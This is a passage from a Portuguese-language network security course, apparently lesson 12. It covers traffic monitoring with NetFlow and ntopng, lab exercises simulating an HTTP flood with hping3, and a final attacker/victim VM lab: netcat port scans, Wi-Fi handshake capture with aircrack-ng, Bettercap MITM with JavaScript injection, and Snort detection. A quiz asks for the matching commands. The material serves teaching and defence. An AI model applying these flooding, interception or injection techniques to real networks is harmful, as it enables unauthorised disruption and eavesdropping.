Modelagem Inteligente de Tráfego

  • NetFlow:
    nfdump -r flowfile
    Analisa fluxos de rede para detectar anomalias.
  • ntopng: Interface web para monitoramento em tempo real. Instale e acesse via localhost:3000.
  • Detecção: Identifique DDoS (picos de tráfego) ou movimentação lateral (conexões anormais entre hosts).

8.1 Exercício Prático

Configure ntopng em um laboratório. Simule um ataque HTTP flood com hping3 e observe os padrões de tráfego. Proponha uma regra de firewall para mitigar o ataque.

9. Laboratório Final

Monte um laboratório com duas VMs (atacante e vítima). Execute:

  1. Varredura de portas com Netcat.
  2. Captura de handshake Wi-Fi com aircrack-ng.
  3. MITM com Bettercap e injeção de JavaScript.
  4. Configuração de Snort para detectar o ataque.
Documente os resultados e discuta contramedidas.

Quiz de Avaliação – Aula 12

1. Qual comando netcat inicia um servidor ouvindo na porta 4444?

2. Qual ferramenta e opção realiza um flood de SYN para um alvo?

3. Qual comando inicia o monitoramento de redes sem fio com airodump-ng?

4. Para capturar apenas pacotes na porta 443 com tcpdump e salvar em arquivo, usamos:

5. Qual comando iptables adiciona NAT de saída (masquerade)?

6. Qual ferramenta open source funciona como IDS/IPS monitorando tráfego via regras?

7. Para instalar um honeypot SSH com Cowrie, qual repositório deve ser clonado?

8. Qual comando netstat exibe todas as conexões TCP estabelecidas?